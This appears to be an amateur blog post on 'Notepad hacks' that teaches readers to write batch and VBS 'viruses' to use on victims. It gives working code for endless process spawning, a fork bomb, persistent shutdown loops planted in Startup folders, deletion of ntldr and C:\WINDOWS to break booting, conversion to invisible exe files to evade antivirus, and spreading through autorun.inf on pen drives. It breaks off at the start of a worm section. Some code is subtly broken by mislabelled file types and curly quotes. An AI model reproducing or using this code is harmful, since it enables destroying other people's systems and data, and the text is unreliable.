Hey Friends  today I am going to share few New Notepad hacks. They are really cool and crazy one's. So Please think atleast three to four times to use them on ur PC.

UNLIMITED NOTEPAD WINDOWS HACK
This will pop up endless notepads until the computer freezes and crashes. Copy the below code in notepad and save it as ".vbs" extension.

Code:-
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top



CAPS LOCK CRAZY TRICK
This constantly turns caps lock on and off really fast continuously.

Code:-
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop


UNLIMITED BACKSPACE HACK
This makes it so the backspace key is constantly being pressed.
Code:-
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)

Hack your friend's keyboard and make him type "You are a fool" simultaneously:

wscript.sleep 100
wshshell.sendkeys "You are a fool."

Convey your friend a message and shut down his / her computer:
 
Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files .

How to create Batch file viruses?

What are Batch Files ?

According to wikipedia a batch file is a text file containing a series of commands intended to be executed by the command interprete, In this article I will be telling you the basics of batch files clear and developing the approach towards coding your own viruses. Lets begin with a simple example ,


Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'




We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x' .
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat



Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we run the batch file

So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.

What can batch viruses do ?

They can be used to delete the windows files, format data, steal information,consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes,

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.


:x
start cmd.exe
goto x // infinite loop

This code will be opening command prompt screen infinite times , irritating victim and affecting performance.

2.  copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts .


Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

3. Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.



Lets make a batch file to  delete this file from victim's computer and the windows will not start then.
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del C:\ntldr //delete ntldr file

After ruuning this batch file , system will not reboot and a normal victim would definitely install the windows again.



4.%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows This is actually known as 'fork bomb'.



The viruses we just coded -:




 

Note : Most of the batch viruses are simply undetectable by any anitiviruses
 
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses -:

1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

Download this Batch To Exe coverter from here.
http://www.mediafire.com/?uhsc5tfkd5dbn65
 
After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.





You can use other options as per your requirement.

Spreading batch viruses through pen drive -:

Step 1. 
 
Open notepad and write


[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

make virus in 5 minuts.......


Ok, now, the trick:

The only thing you need is Notepad.

Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:

Go to
Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and
save it again as findoutaname.cmd. Now DON'T run the file or you'll
lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.


Simple explanation:

Go to notepad, type erase C:\WINDOWS, save, send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...

How to make an excellent worm virus

What is a worm?
Worms are programs that replicate themselves from system to system without the use of a host file. This is in contrast to viruses, which requires the spreading of an infected host file. Although worms generally exist inside of other files, often Word or Excel documents, there is a difference between how worms and viruses use the host file. Usually the worm will release a document that already has the "worm" macro inside the document. The entire document will travel from computer to computer, so the entire document should be considered the worm W32.Mydoom.AX@mm is an example of a worm.

Warning:If u are not sure do not do this project because if you do something wrong it will crash your computer
Step 1:
